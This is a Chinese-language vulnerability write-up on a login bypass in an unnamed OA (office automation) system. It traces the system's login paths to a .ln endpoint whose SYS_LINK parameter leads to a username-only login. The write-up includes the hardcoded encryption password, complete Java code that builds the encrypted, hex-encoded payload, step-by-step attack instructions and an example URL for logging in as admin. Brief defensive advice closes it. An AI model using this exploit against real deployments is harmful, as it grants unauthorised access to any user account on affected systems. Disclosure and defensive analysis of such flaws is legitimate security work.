某oa登录绕过分析
字数 1217 2025-08-10 08:28:37
某OA系统登录绕过漏洞分析与利用
漏洞概述
本文详细分析某OA系统的登录认证机制,通过逆向工程发现系统存在多种登录方式,并利用其中一种方式实现登录绕过。该漏洞允许攻击者通过构造特定请求绕过正常的用户名密码验证,直接以任意用户身份登录系统。
0x01 正常登录逻辑分析
标准登录流程
- 用户输入用户名和密码后,系统向
/login/login_valid.jsp发送POST请求 - 后端处理逻辑:
- 获取POST数据
- 调用
userLoginService.login方法 - 该方法进一步调用
loginByRequest方法
认证核心逻辑
在loginByRequest方法中:
- 使用
userLogic.getUser进行用户验证 - 验证过程通过SQL查询判断用户名和密码是否匹配
- 验证成功后设置对应的cookie
0x02 漏洞发现与分析
多种登录方式
通过分析发现系统支持4种登录认证方式:
loginByRequest- 用户名密码普通登录loginByAD- 域登录loginByCas- 统一身份认证登录loginByUserName- 直接通过用户名登录
关键漏洞点
loginByCas方法最终调用loginByUserNameloginByUserName仅检查用户名是否存在,存在则直接登录- 在
ControllerFilter的doFilter方法中发现可利用点:- 需要URL以
.ln结尾 - 从
SYS_LINK参数获取值 - 使用
LinkUtil.getLinkMeta处理参数 - 最终将用户名传递给
loginByCas
- 需要URL以
参数构造分析
getLinkMeta方法处理流程:
- 对输入值进行hex解码
- 使用
EncrypUtil.decrypt解密 - 以
||分割解密后的字符串,格式为:
例如:/servlet/main||日期||用户名/servlet/main||2024-01-01||admin
加密算法分析
系统使用PBEWithMD5AndDES加密算法:
- 基于口令加密(PBE)算法
- 使用用户提供的口令替代密钥
- 已知加密密码为
123456 - 每次加密结果不同(使用随机盐值)
0x03 漏洞利用
加密工具实现
import org.jasypt.util.text.BasicTextEncryptor;
import java.io.UnsupportedEncodingException;
import java.math.BigInteger;
import java.nio.charset.StandardCharsets;
public class EncrypUtil {
public static String password = "123456";
public static Boolean stringOutputTypeBase64 = false;
public static String encrypt(String text) {
BasicTextEncryptor textEncryptor = new BasicTextEncryptor();
textEncryptor.setPassword(password);
return textEncryptor.encrypt(text);
}
public static String decrypt(String text) {
BasicTextEncryptor textEncryptor = new BasicTextEncryptor();
textEncryptor.setPassword(password);
return textEncryptor.decrypt(text);
}
private static String bytesToHex(byte[] bytes) {
BigInteger bigInt = new BigInteger(1, bytes);
return bigInt.toString(16);
}
public static void main(String[] args) throws UnsupportedEncodingException {
String result = encrypt("/servlet/main||2024-01-01||admin");
System.out.println("encrypt String: " + result);
byte[] bytes = result.getBytes(StandardCharsets.UTF_8);
String hexEncodedString = bytesToHex(bytes);
System.out.println("Hex Encoded String: " + hexEncodedString);
}
}
攻击步骤
-
构造有效载荷:
/servlet/main||未来日期||目标用户名例如:
/servlet/main||2024-01-01||admin -
使用上述工具加密载荷
-
将加密结果转换为hex编码
-
构造最终攻击URL:
/1.ln?SYS_LINK=<hex编码的加密字符串>示例:
/1.ln?SYS_LINK=736a356b37475635563576783561796242424c31554c4c6c6a585767516b757338386178663935616f59626e584b65503051462b2b4155335535547a41684734
触发条件
- 请求URL必须以
.ln结尾 SYS_LINK参数必须包含有效的加密字符串- 日期必须设置为未来时间(通过系统校验)
防御建议
- 移除或禁用不必要的登录方式(如
loginByUserName) - 加强
SYS_LINK参数的校验机制 - 修改默认加密密码
123456为复杂密码 - 增加完整的登录审计日志
- 对敏感操作实施多因素认证
总结
该漏洞展示了认证机制设计缺陷导致的严重安全问题。系统提供多种登录方式虽然增加了灵活性,但也扩大了攻击面。开发人员应遵循最小权限原则,严格审查所有认证路径,避免出现类似的认证绕过漏洞。